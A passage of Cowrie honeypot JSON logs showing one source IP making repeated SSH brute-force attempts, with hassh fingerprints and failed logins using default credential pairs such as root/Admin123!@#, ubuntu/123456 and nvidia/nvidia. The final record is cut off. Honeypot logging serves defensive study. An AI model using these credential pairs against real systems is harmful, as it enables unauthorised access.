{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:24.504416Z","src_ip":"192.109.200.78","session":"cb7fdd4ac9b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:24.822313Z","src_ip":"192.109.200.78","session":"cb7fdd4ac9b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.68165349960327,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:25.033570Z","src_ip":"172.81.62.90","session":"96026d3fa936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:25.905687Z","src_ip":"192.109.200.78","session":"cb7fdd4ac9b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37444,"dst_ip":"10.17.0.5","dst_port":22,"session":"d58a8501192b","protocol":"ssh","message":"New connection: 192.109.200.78:37444 (10.17.0.5:22) [session: d58a8501192b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:27.828362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:27.833493Z","src_ip":"192.109.200.78","session":"d58a8501192b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:27.915003Z","src_ip":"192.109.200.78","session":"d58a8501192b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:28.164172Z","src_ip":"192.109.200.78","session":"d58a8501192b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:29.385720Z","src_ip":"192.109.200.78","session":"d58a8501192b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37488,"dst_ip":"10.17.0.5","dst_port":22,"session":"88f664e9f496","protocol":"ssh","message":"New connection: 192.109.200.78:37488 (10.17.0.5:22) [session: 88f664e9f496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:31.167001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:31.172023Z","src_ip":"192.109.200.78","session":"88f664e9f496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:31.253557Z","src_ip":"192.109.200.78","session":"88f664e9f496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:31.500407Z","src_ip":"192.109.200.78","session":"88f664e9f496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:32.583605Z","src_ip":"192.109.200.78","session":"88f664e9f496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56206,"dst_ip":"10.17.0.5","dst_port":22,"session":"6483df688085","protocol":"ssh","message":"New connection: 192.109.200.78:56206 (10.17.0.5:22) [session: 6483df688085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:34.568643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:34.687871Z","src_ip":"192.109.200.78","session":"6483df688085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:34.691130Z","src_ip":"192.109.200.78","session":"6483df688085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:35.045177Z","src_ip":"192.109.200.78","session":"6483df688085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:36.128910Z","src_ip":"192.109.200.78","session":"6483df688085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56232,"dst_ip":"10.17.0.5","dst_port":22,"session":"1521288f7fda","protocol":"ssh","message":"New connection: 192.109.200.78:56232 (10.17.0.5:22) [session: 1521288f7fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:38.220226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:38.224508Z","src_ip":"192.109.200.78","session":"1521288f7fda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:38.305545Z","src_ip":"192.109.200.78","session":"1521288f7fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:38.553425Z","src_ip":"192.109.200.78","session":"1521288f7fda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:39.761110Z","src_ip":"192.109.200.78","session":"1521288f7fda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56260,"dst_ip":"10.17.0.5","dst_port":22,"session":"36926d14c118","protocol":"ssh","message":"New connection: 192.109.200.78:56260 (10.17.0.5:22) [session: 36926d14c118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:41.590578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:41.595391Z","src_ip":"192.109.200.78","session":"36926d14c118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:41.677380Z","src_ip":"192.109.200.78","session":"36926d14c118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:41.947759Z","src_ip":"192.109.200.78","session":"36926d14c118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:43.031678Z","src_ip":"192.109.200.78","session":"36926d14c118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47112,"dst_ip":"10.17.0.5","dst_port":22,"session":"193e73f567ab","protocol":"ssh","message":"New connection: 192.109.200.78:47112 (10.17.0.5:22) [session: 193e73f567ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:45.184072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:45.245764Z","src_ip":"192.109.200.78","session":"193e73f567ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:45.296192Z","src_ip":"192.109.200.78","session":"193e73f567ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:45.617167Z","src_ip":"192.109.200.78","session":"193e73f567ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:46.709936Z","src_ip":"192.109.200.78","session":"193e73f567ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47128,"dst_ip":"10.17.0.5","dst_port":22,"session":"b49673ea8981","protocol":"ssh","message":"New connection: 192.109.200.78:47128 (10.17.0.5:22) [session: b49673ea8981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:48.723366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:48.727755Z","src_ip":"192.109.200.78","session":"b49673ea8981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:48.810323Z","src_ip":"192.109.200.78","session":"b49673ea8981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:49.056945Z","src_ip":"192.109.200.78","session":"b49673ea8981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:50.140694Z","src_ip":"192.109.200.78","session":"b49673ea8981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32784,"dst_ip":"10.17.0.5","dst_port":22,"session":"5674e4214f15","protocol":"ssh","message":"New connection: 192.109.200.78:32784 (10.17.0.5:22) [session: 5674e4214f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:52.080846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:52.084654Z","src_ip":"192.109.200.78","session":"5674e4214f15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-s